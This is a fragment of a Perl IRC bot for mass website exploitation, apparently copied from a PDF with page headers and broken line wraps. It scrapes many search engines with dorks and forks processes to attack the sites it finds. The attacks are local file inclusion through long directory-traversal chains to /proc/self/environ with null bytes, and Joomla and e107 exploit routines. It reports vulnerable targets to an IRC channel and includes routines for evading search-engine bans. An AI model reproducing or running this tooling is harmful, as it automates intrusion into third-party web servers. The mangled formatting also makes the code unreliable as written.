/HTTP_USER_AGENT/){ safemode(1,$chan,$situs,
$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00&kmccrew=", $engine);
sleep($conf{sleepz}); } }
elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00"); if ($qlfi =~
/HTTP_USER_AGENT/){ safemode(1,$chan,$situs,
$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00&kmccrew=", $engine);
sleep($conf{sleepz}); } }
elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00"); if ($qlfi =~
/HTTP_USER_AGENT/){ safemode(1,$chan,$situs,
$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00&kmccrew=", $engine);
sleep($conf{sleepz}); } }
elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00"); if ($qlfi =~
/HTTP_USER_AGENT/){ safemode(1,$chan,$situs,
$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00&kmccrew=", $engine);
sleep($conf{sleepz}); } }
elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi =
bukasitus("http://".$situs.$bug.."../../../../../../../../../../../../proc/self/environ
%00"); if ($qlfi =~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug.."../../../../../../../../../../../../proc/self/environ%00&kmccrew=",
$engine); sleep($conf{sleepz}); } }
elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi =
bukasitus("http://".$situs.$bug.."../../../../../../../../../../../../proc/self/environ%00");
if ($qlfi =~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug.."../../../../../../../../../../../../proc/self/environ%00&kmccrew=", $eng
ine);
sleep($conf{sleepz}); } }
elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi =
bukasitus("http://".$situs.$bug.."../../../../../../../../../../../../proc/self/environ%00"); if
($qlfi =~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug.."../../../../../../../../../../../../proc/self/environ%00&kmccrew=", $engine
); sleep

```

```

($conf{sleeppz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi =
bukasitus("http://".$situs.$bug."../../../../proc/self/environ%00"); if

($qlfi =~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug."../../../../proc/self/environ%00&kmccrew=", $engine);
sleep($conf

{sleeppz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi =
bukasitus("http://".$situs.$bug."../../../../proc/self/environ%00"); if

($qlfi =~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug."../../../../proc/self/environ%00&kmccrew=", $engine);
sleep($conf

{sleeppz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi =
bukasitus("http://".$situs.$bug."../proc/self/environ%00"); if ($qlfi

=~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug."../proc/self/environ%00&kmccrew=", $engine);
sleep($conf{sleeppz}); } }
    }
    else {
        foreach my $bug (@bugjoomla) {
            my $q = bukasitus("http://".$situs.$bug.$Kkrid."?");
            if ($q =~ /kmccrew_Kae/) { safemode(1,$chan,$situs,$bug,$engine);
sleep($conf{sleeppz}); }
            elseif($q =~ /failed to open stream/){
                my $qlfi = bukasitus("http://".$situs.$bug.$lfitest);
                if ($qlfi =~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug.$lfitest."&kmccrew=", $engine); sleep($conf

{sleeppz}); }
                elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi =
bukasitus("http://".$situs.

$bug."../../../../../../../../../../../../../../../../../../../../proc/self/e
nviron%00"); if ($qlfi =~

/HTTP_USER_AGENT/){ safemode(1,$chan,$situs,

$bug."../../../../../../../../../../../../../../../../../../../../proc/self/e
nviron%00&kmccrew=", $engine); sleep($conf

{sleeppz}); } }
                elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi =
bukasitus("http://".$situs.

$bug."../../../../../../../../../../../../../../../../../../../../proc/self/envi
ron%00"); if ($qlfi =~ /HTTP_USER_AGENT/){

safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../..
../../../../proc/self/environ%00&kmccrew=",

$engine); sleep($conf{sleeppz}); } }
                elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi =
bukasitus("http://".$situs.

$bug."../../../../../../../../../../../../../../../../../../../../proc/self/environ
%00"); if ($qlfi =~ /HTTP_USER_AGENT/){

safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../..
../../../../proc/self/environ%00&kmccrew=",

$engine); sleep($conf{sleeppz}); } }

```



```

e-1.txt
http://".$situs.$bug." ] foud error : sql error"); }
    elseif ($q =~ /right syntax to use near/)
{ irc_msg($chan,"^9,1[^\4SQL^\9]^\["

http://".$situs.$bug." ] foud error : right syntax to use near"); }
    elseif ($q =~ /syntax error converting/)
{ irc_msg($chan,"^9,1[^\4SQL^\9]^\["

http://".$situs.$bug." ] foud error : syntax error converting"); }
    elseif ($q =~ /unclosed quotation/)
{ irc_msg($chan,"^9,1[^\4SQL^\9]^\["

http://".$situs.$bug." ] foud error : unclosed quotation"); }
    elseif (($q =~ /e107/) && ($q =~ /<(.*?)>/) && ($q =~ /kmccrew(.*?)kae/))
{ irc_msg($chan,"^9,1[^\4e107^\9]^\["

http://".$situs.$bug." ] "); }
    elseif (($q =~ /e107/) && ($q =~ /kmccrew(.*?)kae/) && ($q =~
/kmccrew(.*?)\s+(.*?)\/)) { irc_msg($chan,"^9,1[^\4e107^\9]^\["

http://".$situs.$bug." ] ".$1); }
    elseif (($q =~ /kmccrew(.*?)kae/) && ($q =~ /<(.*?)>/))
{ irc_msg($chan,"^9,1[^\4XML^\9]^\["

http://".$situs.$bug." ] ".$1); }
    elseif (($q =~ /kmccrew(.*?)kae/) && ($q =~ /kmccrew(.*?)\s+(.*?)\/))
{ irc_msg($chan,"^9,1

[^\4XML^\9]^\[" http://".$situs.$bug." ] ".$1); }
    elseif ($q =~ /kmccrew(.*?)kae/)
{ irc_msg($chan,"^9,1[^\4XML^\9]^\["

http://".$situs.$bug." ]"); }
    bukasituscre107sprd("http://".$situs.$bug,$e107sprd);
    bukasituscre107sprd("http://".$situs.$bug,$e107sprd2);
    bukasituscre107sprd("http://".$situs.$bug,$e107sprd3);
    exit(0);
}
$num++;
}
irc_msg($chan,$colz{1}."MeNunGGu ".scalar(@prosesbaru)." PID ProSes
EksPLOiTasi..".$colz{2}) if (!$engine);
foreach my $f (@prosesbaru) { waitpid($f,0); }
irc_msg($chan,"^9,1 $engine ^0FiNizz! ^") if ($engine);
}
#####
##[ RUTIN SEARCH ENGINE ]##
#####
sub s_cari {
    #Type: 1 = Cari saja, 2 = Cari dan exploit, 3 = Cari dan exploit Joomla
    my ($chan,$dork,$nf,$bug,$type) = @_;
    my @engz;
    my $key = $dork;
    $dork = urlen($key);
    $engz[0] = fork(); if ($engz[0] == 0) {
s_engine("google","Google",$type,$chan,$bug,$dork,$nf); exit; }
    $engz[2] = fork(); if ($engz[2] == 0) {
s_engine("netscape","Netscape",$type,$chan,$bug,$dork,$nf); exit; }
    $engz[3] = fork(); if ($engz[3] == 0) {
s_engine("yahoo","Yahoo",$type,$chan,$bug,$dork,$nf); exit; }
    $engz[4] = fork(); if ($engz[4] == 0) {
s_engine("live","Live",$type,$chan,$bug,$dork,$nf); exit; }
    $engz[6] = fork(); if ($engz[6] == 0) {
s_engine("google2","Google2",$type,$chan,$bug,$dork,$nf); exit; }
    $engz[7] = fork(); if ($engz[7] == 0) {
s_engine("altavista","Altavista",$type,$chan,$bug,$dork,$nf); exit; }
    $engz[8] = fork(); if ($engz[8] == 0) {
s_engine("alltheweb","AllTheweb",$type,$chan,$bug,$dork,$nf); exit; }
}

```

e-1.txt

```
$engz[9] = fork(); if ($engz[9] == 0) {
s_engine("goodsrch","GoodSearch",$type,$chan,$bug,$dork,$nf); exit; }
$engz[10] = fork(); if ($engz[10] == 0) {
s_engine("lycos","Lycos",$type,$chan,$bug,$dork,$nf); exit; }
$engz[11] = fork(); if ($engz[11] == 0) {
s_engine("uol","Uol",$type,$chan,$bug,$dork,$nf); exit; }
$engz[14] = fork(); if ($engz[14] == 0) {
s_engine("virgilio","Virgilio",$type,$chan,$bug,$dork,$nf); exit; }
$engz[15] = fork(); if ($engz[15] == 0) {
s_engine("webde","web.de",$type,$chan,$bug,$dork,$nf); exit; }
$engz[17] = fork(); if ($engz[17] == 0) {
s_engine("clusty","Clusty",$type,$chan,$bug,$dork,$nf); exit; }
$engz[19] = fork(); if ($engz[19] == 0) {
s_engine("abacho","Abacho",$type,$chan,$bug,$dork,$nf); exit; }
$engz[21] = fork(); if ($engz[21] == 0) {
s_engine("hotbot","Hotbot",$type,$chan,$bug,$dork,$nf); exit; }
$engz[22] = fork(); if ($engz[22] == 0) {
s_engine("webcrawl","webCrawler",$type,$chan,$bug,$dork,$nf); exit; }
#$engz[1] = fork(); if ($engz[1] == 0) {
s_engine("aol","Aol",$type,$chan,$bug,$dork,$nf); exit; }
#$engz[5] = fork(); if ($engz[5] == 0) {
s_engine("ask","Ask",$type,$chan,$bug,$dork,$nf); exit; }
#$engz[12] = fork(); if ($engz[12] == 0) {
s_engine("fireball","Fireball",$type,$chan,$bug,$dork,$nf); exit; }
#$engz[13] = fork(); if ($engz[13] == 0) {
s_engine("gigablast","Gigablast",$type,$chan,$bug,$dork,$nf); exit; }
#$engz[16] = fork(); if ($engz[16] == 0) {
s_engine("mamma","Mamma",$type,$chan,$bug,$dork,$nf); exit; }
#$engz[18] = fork(); if ($engz[18] == 0) {
s_engine("dmoz","Dmoz",$type,$chan,$bug,$dork,$nf); exit; }
#$engz[20] = fork(); if ($engz[20] == 0) {
s_engine("euroseek","Euroseek",$type,$chan,$bug,$dork,$nf); exit; }
foreach my $e (@engz) { waitpid($e,0); }
}

sub crsql_cari {
my ($chan,$bug,$dork,$nf,$type) = @_;
my @engz;
my $key = $dork;
$dork = urlen($key);
$engz[0] = fork(); if ($engz[0] == 0) {
crsql_engine("google","Google",$chan,$bug,$dork,$nf,$type); exit; }
$engz[2] = fork(); if ($engz[2] == 0) {
crsql_engine("netscape","Netscape",$chan,$bug,$dork,$nf,$type); exit; }
$engz[3] = fork(); if ($engz[3] == 0) {
crsql_engine("yahoo","Yahoo",$chan,$bug,$dork,$nf,$type); exit; }
$engz[4] = fork(); if ($engz[4] == 0) {
crsql_engine("live","Live",$chan,$bug,$dork,$nf,$type); exit; }
$engz[6] = fork(); if ($engz[6] == 0) {
crsql_engine("google2","Google2",$chan,$bug,$dork,$nf,$type); exit; }
$engz[7] = fork(); if ($engz[7] == 0) {
crsql_engine("altavista","Altavista",$chan,$bug,$dork,$nf,$type); exit; }
$engz[8] = fork(); if ($engz[8] == 0) {
crsql_engine("alltheweb","AllTheWeb",$chan,$bug,$dork,$nf,$type); exit; }
$engz[9] = fork(); if ($engz[9] == 0) {
crsql_engine("goodsrch","GoodSearch",$chan,$bug,$dork,$nf,$type); exit; }
$engz[10] = fork(); if ($engz[10] == 0) {
crsql_engine("lycos","Lycos",$chan,$bug,$dork,$nf,$type); exit; }
$engz[11] = fork(); if ($engz[11] == 0) {
crsql_engine("uol","Uol",$chan,$bug,$dork,$nf,$type); exit; }
$engz[14] = fork(); if ($engz[14] == 0) {
crsql_engine("virgilio","Virgilio",$chan,$bug,$dork,$nf,$type); exit; }
$engz[15] = fork(); if ($engz[15] == 0) {
crsql_engine("webde","web.de",$chan,$bug,$dork,$nf,$type); exit; }
$engz[17] = fork(); if ($engz[17] == 0) {
crsql_engine("clusty","Clusty",$chan,$bug,$dork,$nf,$type); exit; }
$engz[19] = fork(); if ($engz[19] == 0) {
crsql_engine("abacho","Abacho",$chan,$bug,$dork,$nf,$type); exit; }
}
```

```

e-1.txt
$engz[21] = fork(); if ($engz[21] == 0) {
crsql_engine("hotbot", "Hotbot", $chan, $bug, $dork, $nf, $type); exit; }
$engz[22] = fork(); if ($engz[22] == 0) {
crsql_engine("webcrawl", "webCrawler", $chan, $bug, $dork, $nf, $type); exit; }
  foreach my $e (@engz) { waitpid($e, 0); }
}

sub crsql_engine {
my ($f, $se, $chan, $bug, $dork, $ef, $type) = @_;
my @hc;
if ($f eq "google" ) { @hc = se_google($chan, $dork, $ef); }
elsif ($f eq "google2" ) { @hc = se_google_m($chan, $dork, $ef); }
elsif ($f eq "aol" ) { @hc = se_aol($chan, $dork, $ef); } #Unused
elsif ($f eq "yahoo" ) { @hc = se_yahoo($chan, $dork, $ef); }
elsif ($f eq "altavista" ) { @hc = se_altavista($chan, $dork, $ef); }
elsif ($f eq "alltheweb" ) { @hc = se_alltheweb($chan, $dork, $ef); }
elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan, $dork, $ef); }
elsif ($f eq "ask" ) { @hc = se_ask($chan, $dork, $ef); }
elsif ($f eq "lycos" ) { @hc = se_lycos($chan, $dork, $ef); }
elsif ($f eq "live" ) { @hc = se_live($chan, $dork, $ef); }
elsif ($f eq "hotbot" ) { @hc = se_hotbot($chan, $dork, $ef); }
elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan, $dork, $ef); }
elsif ($f eq "webde" ) { @hc = se_webde($chan, $dork, $ef); }
elsif ($f eq "uol" ) { @hc = se_uol($chan, $dork, $ef); }
elsif ($f eq "abacho" ) { @hc = se_abacho($chan, $dork, $ef); } #Unused
elsif ($f eq "netscape" ) { @hc = se_netscape($chan, $dork, $ef); }
elsif ($f eq "clusty" ) { @hc = se_clusty($chan, $dork, $ef); }
elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan, $dork, $ef); }
my @cl = lnk_sortir(@hc);
msg($chan, $se, scalar(@hc), scalar(@cl));
if (scalar(@cl) == 0) { exit; }

  my $ef2 = $f.$ef;
  foreach my $e (@cl) { f_simpan($ef2, $e); }
  crsql_eksplloit($chan, $bug, $dork, $ef2, $se, $type);
}

sub s_engine {
my ($f, $se, $type, $chan, $bug, $dork, $ef) = @_;
my @hc;
if ($f eq "google" ) { @hc = se_google($chan, $dork, $ef); }
elsif ($f eq "google2" ) { @hc = se_google_m($chan, $dork, $ef); }
elsif ($f eq "aol" ) { @hc = se_aol($chan, $dork, $ef); } #Unused
elsif ($f eq "yahoo" ) { @hc = se_yahoo($chan, $dork, $ef); }
elsif ($f eq "altavista" ) { @hc = se_altavista($chan, $dork, $ef); }
elsif ($f eq "alltheweb" ) { @hc = se_alltheweb($chan, $dork, $ef); }
elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan, $dork, $ef); }
elsif ($f eq "ask" ) { @hc = se_ask($chan, $dork, $ef); }
elsif ($f eq "lycos" ) { @hc = se_lycos($chan, $dork, $ef); }
elsif ($f eq "live" ) { @hc = se_live($chan, $dork, $ef); }
elsif ($f eq "hotbot" ) { @hc = se_hotbot($chan, $dork, $ef); }
elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan, $dork, $ef); }
elsif ($f eq "webde" ) { @hc = se_webde($chan, $dork, $ef); }
elsif ($f eq "uol" ) { @hc = se_uol($chan, $dork, $ef); }
elsif ($f eq "abacho" ) { @hc = se_abacho($chan, $dork, $ef); } #Unused
elsif ($f eq "netscape" ) { @hc = se_netscape($chan, $dork, $ef); }
elsif ($f eq "clusty" ) { @hc = se_clusty($chan, $dork, $ef); }
elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan, $dork, $ef); }
my @cl = lnk_sortir(@hc);
msg($chan, $se, scalar(@hc), scalar(@cl));
if (scalar(@cl) == 0) { exit; }
if ($type == 1) { foreach my $e (@cl) { f_simpan($ef, $e); } }
else {
  my $ef2 = $f.$ef;
  foreach my $e (@cl) { f_simpan($ef2, $e); }
  if ($type == 2) { s_eksplloit(2, $chan, $bug, $dork, $ef2, $se); }
  elsif ($type == 3) { s_eksplloit(3, $chan, $bug, $dork, $ef2, $se); }
}
}

```

```

}
##[ GOOGLE ]##
sub se_google {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 50; my $max = 5000; my $p = 0;
    #my $url = "http://localhost/search/google.co.id.htm";
    my $url =
"http://www.google.com/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
    my $murl = "http://www.google.com";
    my $nxurl;
    my $q = bukasitus($url);
    if ( $q !~ /2010 Google/ ) { msge($chan,"Google","Baned!!");
msge($chan,"Google bypas:",$bypass."key=".$key); @daftar =
se_gbypass($chan,$key,$nf); }
    if ( $q =~ /dari sekitar <b>(.*?)</b>/ ) {
        my $h = $1; $h =~ s/,//g; msgt($chan,"Google","$h");
    }
    if ( $q =~ /class=b><a href="(.*?)"/ ) {
        my $nxurl = $1; if ($conf{showdbse} ==
1){msgn($dbgchan,"Google","$nxurl");}
    }
    while ( $q =~ m/<h3 class=r><a href="http:\/\/(.*?)\/g ) { push (@daftar,
$1); }
    for ($p=50;$p<=$max;$p+=$num) {
        $nxurl =
"http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N"
;
        $q = bukasitus($nxurl);
        while ( $q =~ m/<h3 class=r><a href="http:\/\/(.*?)\/g ) { push (@daftar,
$1); }
        if ( $q !~ /<h3 class=r><a href="http:\/\/(.*?)\/ ) { return @daftar; }
    }
    return @daftar;
}
##[ GOOGLE BYPASS ]##
sub se_gbypass {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 50; my $max = 1000; my $p = 0;
    my $url = $bypass."?key=".$key."&max=".$max;
    my $nxurl;
    my $q = bukasitus($url);
    while ( $q =~ m/<h3 class=r><a href="http:\/\/(.*?)\/g ) { push (@daftar,
$1); }
    return @daftar;
}
##[ GOOGLE MULTI DOMAIN ]##
sub se_google_m {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 50; my $max = 5000; my $p;
    my @doms = (
"com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","f
r","gr","com.hk",
"ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru
","com.sg",
"com.tr","com.tw","com.ua","co.uk","hu","com.af","com","ae","com.ag","com.ai","a
m","com.ar","as",
"at","com.au","az","ba","com.bd","be","bg","com.bh","bi","com.bn","com.bo","com.
bn","bs","co.bw",
"com.by","com.bz","ca","cd","cg","ch","ci","co.ck","cl","cn","com.co","co.cr","c

```

```

om.cu", "cz", "de",

"dj", "dk", "dm", "com.do", "com.ec", "ee", "com.eg", "es", "com.et", "fi", "com.fj", "fm",
"fr", "ge", "gg",

"com.gi", "gl", "gm", "gp", "gr", "com.gt", "gy", "com.hk", "hn", "hr", "ht", "hu", "co.id",
"ie", "co.il",

"im", "co.in", "is", "it", "je", "com.jm", "jo", "co.jp", "co.ke", "com.kh", "ki", "kg", "co.kr",
"kz", "la",

"li", "lk", "co.ls", "lt", "lu", "lv", "com.ly", "co.ma", "md", "mn", "ms", "com.mt", "mu", "mv",
"mw", "com.mx",

"com.my", "com.na", "com.nf", "com.ng", "com.ni", "nl", "no", "com.np", "nr", "nu", "co.nz",
"com.om", "com.pa",

"com.pe", "com.ph", "com.pk", "pl", "pn", "com.pr", "pt", "com.py", "com.qa", "ro", "ru", "rw",
"com.sa", "com.sb",

"sc", "se", "com.sg", "sh", "si", "sk", "sn", "sm", "st", "com.sv", "co.th", "com.tj", "tk",
"tm", "to", "tp", "com.tr",

"tt", "com.tw", "com.ua", "co.ug", "co.uk", "com.uy", "co.uz", "com.vc", "co.ve", "vg", "co.vi",
"com.vn", "vu", "ws",
"co.yu", "co.za", "co.zm", "co.zw");
my $dom = $doms[rand( scalar(@doms) )];
my $url = "http://www.google." . $dom . "/search?&num=" . $num . "&q=" . $key;
my $murl = "http://www.google." . $dom;
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /class=b><a href="(.*?)"/ ) {
    my $nxurl = $1;
    if ( $conf{showdbse} == 1 ){msgn($dbgchan, "Google." . $dom, $nxurl);}
    msgn($chan, "Google." . $dom, "LaGi NyAri..");
}
while ( $q =~ m/<h3 class=r><a href="http:///(.*?)"/g ) { push (@daftar,
$1); }
for ( $p=50; $p<=$max; $p+=$num ) {
    $nxurl =
"http://www.google." . $dom . "/search?num=" . $num . "&q=" . $key . "&start=" . $p . "&sa=N";
    $q = bukasitus($nxurl);
    while ( $q =~ m/<h3 class=r><a href="http:///(.*?)"/g ) { push (@daftar,
$1); }
    if ( $q !~ /<h3 class=r><a href="http:///(.*?)"/ ) { return @daftar; }
}
return @daftar;
}
##[ AOL (Ga Pake) ]##
sub se_aol {
    my ($chan, $key, $nf) = @_;
    my @daftar;
    my $num = 1; my $max = 500; my $p;
    #my $url = "http://localhost/search/aol.com.htm";
    my $url = "http://search.aol.com/aol/search?query=" . $key;
    my $murl = "http://search.aol.com/aol/";
    my $nxurl;
    my $q = bukasitus($url);
    if ( $q =~ /of&nbsp;about&nbsp;<b>(.*?)</b>/ ) {
        my $h = $1; $h =~ s/,//g; msgt($chan, "Aol", "$h");
    }
    if ( $q =~ /<span class="gspPageNext"><a href="(.*?)"/ ) {
        my $nxurl = $1; if ( $conf{showdbse} == 1 ){msgn($dbgchan, "Aol", "$nxurl");}
    }
    while ( $q =~ m/property="f:url">http:///(.*?)</p>/g ) { push (@daftar,
$1); }
    while ( $q =~ /<span class="gspPageNext"><a href="(.*?)"/ ) {
        $nxurl = $murl.htmltourl($1);

```

e-1.txt

```
$q = bukasitus($nxurl);
while ( $q =~ m/property=\\"f:url\\">http:\\\\(.*)<\/p>/g ) { push (@daftar,
$1); }
}
return @daftar;
}
##[ YAHOO ]##
sub se_yahoo {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 50; my $max = 8000; my $p = "1";
#my $url = "http://localhost/search/www.search.yahoo.com.htm";
my $url = "http://search.yahoo.com/search?p=".$key."&b=".$p;
my $murl;
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /id=\\"infotext\\"><p> .*? of(.*) for/ ) {
my $h = $1; $h =~ s/,//g; msgt($chan,"Yahoo","$h");
}
if ( $q =~ /999 Unable to process request at this time/ ) {
msge($chan,"Yahoo","Banned!"); }
if ( $q =~ /<a id=\\"pg-next\\" href=\\"(.*)\\">Next/ ) {
my $nxurl = $1; if ($conf{showdbse} ==
1){msgn($dbgchan,"Yahoo","$nxurl");}
}
while ( $q =~ m/26u=(.*)%26w=/g ) { push (@daftar, $1); }
while ( $q =~ /<a id=\\"pg-next\\" href=\\"(.*)\\">Next/ ) {
$p++; if ( $p > $max ) { return @daftar; }
$nxurl = $murl.htmltourl($1);
$q = bukasitus($nxurl);
while ( $q =~ m/26u=(.*)%26w=/g ) { push (@daftar, $1); }
}
return @daftar;
}
##[ ALTAVISTA ]##
sub se_altavista {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 100; my $max = 500; my $p;
#my $url = "http://localhost/search/www.altavista.com.htm";
my $url =
"http://www.altavista.com/web/results?itag=ody&q=".$key."&kgs=0&kls=0&nbq=".$num
."&stq=".$p;
my $murl;
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /<a href=\\"(.*)\\" target=\\"_self\\">Next/ ) {
my $nxurl = $1; if ($conf{showdbse} ==
1){msgn($dbgchan,"Altavista","$nxurl");}
}
while ( $q =~ m/<span class=ngnrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
while ( $q =~ /<a href=\\"(.*)\\" target=\\"_self\\">Next/ ) {
$nxurl = $murl.htmltourl($1);
$q = bukasitus($nxurl);
while ( $q =~ m/<span class=ngnrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
}
return @daftar;
}
##[ ALLTHEWEB ]##
sub se_alltheweb {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 100; my $max = 20; my $p = 1;
#my $url = "http://localhost/search/www.alltheweb.com.htm";
my $url =
"http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o
=".$p;
my $murl;
```

e-1.txt

```
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /<span class=\"ofSoMany\">(.*?)</span>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"AllTheWeb","$h");
}
if ( $q =~ /<a href=\"(.*)\" class=\"rnavLink\">Next/ ) {
    my $nxurl = $1; if ($conf{showdbse} ==
1){msgn($dbgchan,"AllTheWeb","$nxurl");}
}
while ( $q =~ m/<span class=\"resURL\">http:\\\\(.*?)</span>/g ) { push
(@daftar, $1); }
while ( $q =~ /<a href=\"(.*)\" class=\"rnavLink\">Next/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<span class=\"resURL\">http:\\\\(.*?)</span>/g ) { push
(@daftar, $1); }
}
return @daftar;
}
##[ GOODSEARCH ]##
sub se_goodsearch {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 0; my $max = 300; my $p = 1;
    #my $url = "http://localhost/search/www.goodsearch.com.html";
    my $url =
"http://www.goodsearch.com/Search.aspx?keywords=".$key."&page=".$p."&osmax=".$nu
m;
    my $murl = "http://www.goodsearch.com/";
    my $nxurl;
    my $q = bukasitus($url);
    if ( $q =~ /of about <strong>(.*?)</strong>/ ) {
        my $h = $1; $h =~ s/,//g; msgt($chan,"GoodSearch","$h");
    }
    if ( $q =~ m/&nbsp;<span class=\"search_numberpager_nextprev\"><a
href=\"(.+?)\">Next</a>/ ) {
        my $nxurl = $1; if ($conf{showdbse} ==
1){msgn($dbgchan,"GoodSearch","$nxurl");}
    }
    while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\\\\(.*?)</a>/g ) { push
(@daftar, $2); }
    for ($p=2;$p<=$max;$p++) {
        $url =
"http://www.goodsearch.com/Search.aspx?keywords=".$key."&page=".$p."&osmax=".$nu
m;
        $q = bukasitus($url);
        while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\\\\(.*?)</a>/g ) { push
(@daftar, $2); }
        if ( $q !~ m/<a href=\"(Redirect.+?)\">http:\\\\(.*?)</a>/g ) { return
@daftar; }
    }
    return @daftar;
}
## UOL ##
sub se_uol {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 10; my $max = 5000; my $p;
    #my $url = "http://localhost/search/busca.uol.com.br.htm";
    my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key."";
    my $murl = "http://busca.uol.com.br";
    my $nxurl;
    my $q = bukasitus($url);
    if ( $q =~ /results\">(.*?)</strong>/ ) {
        my $h = $1; $h =~ s/,//g; msgt($chan,"uol","$h");
    }
    if ( $q =~ /<a href=\"(.*)\" class=\"next\">/ ) {
        my $nxurl = htmltourl($1); if ($conf{showdbse} ==
seite 23
```

e-1.txt

```
1){msgn($dbgchan,"uol","$nxurl");}
}
while ( $q =~ m/<dt><a href="http:\/\/(.*)\/"/g ) { push (@daftar, $1); }
for ($p=1;$p<=$max;$p += $num) {
    $q =
bukasitus("http://mundo.busca.uol.com.br/buscar.html?q=".$key."&start=".$p);
    while ( $q =~ m/<dt><a href="http:\/\/(.*)\/"/g ) { push (@daftar, $1); }
    if ( $q !~ /<dt><a href/ ) { return @daftar; }
}
return @daftar;
}
## LIVE ##
sub se_live {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 10; my $max = 100; my $p;
    #my $url = "http://localhost/search/search.live.com.htm";
    my $url = "http://search.live.com/results.aspx?q=".$key."&go";
    my $murl = "http://search.live.com";
    my $nxurl;
    my $q = bukasitus($url);
    if ( $q =~ /<a class="sb_pagn" href="(.)\/" onmousedown/ ) {
        my $nxurl = $1; if ($conf{showdbse} ==
1){msgn($dbgchan,"Live",htmltourl($nxurl));}
}
while ( $q =~ m/<h3><a href="http:\/\/(.*)\/"/g ) {
    my $l = $1 ; if ($l !~ /google/) { push (@daftar, $1); }
}
for ( $p=0;$p<=$max;$p += $num ) {
    $nxurl = $murl.htmltourl($1)."&go";
    $q =
bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE
");
    while ( $q =~ m/<h3><a href="http:\/\/(.*)\/"/g ) {
        my $l = $1 ; if ($l !~ /google/) { push (@daftar, $1); }
    }
}
return @daftar;
}
## CLUSTY ##
sub se_clusty {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 50;
    #my $url = "http://localhost/search/clusty.com.htm";
    my $url =
"http://clusty.com/search?query=".$key."&input-form=clusty-simple&v:sources=webp
lus";
    my $murl = "http://clusty.com";
    my $nxurl;
    my $q = bukasitus($url);
    if ( $q =~ /intronum">(.)<\/span>/ ) {
        my $h = $1; $h =~ s/,//g; msgt($chan,"Clusty",$h);
    }
    if ( $q =~ /<a class="listnext" href="(.)\/">next/ ) {
        my $nxurl = $1; if ($conf{showdbse} ==
1){msgn($dbgchan,"Clusty",htmltourl($nxurl));}
}
while ( $q =~ m/<a target="_top" href="http:\/\/(.*)\/"/g ) { push
(@daftar, $1); }
while ( $q =~ /<a class="listnext" href="(.)\/">next/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<a target="_top" href="http:\/\/(.*)\/"/g ) { push
(@daftar, $1); }
}
return @daftar;
}
```

```

##[ ASK ]##
sub se_ask {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 200; my $p = 1;
  #my $url = "http://localhost/search/www.ask.com.htm";
  my $url = "http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p;
  my $murl = "http://www.ask.com/web";
  my $nxurl;
  my $q = bukasitus($url);
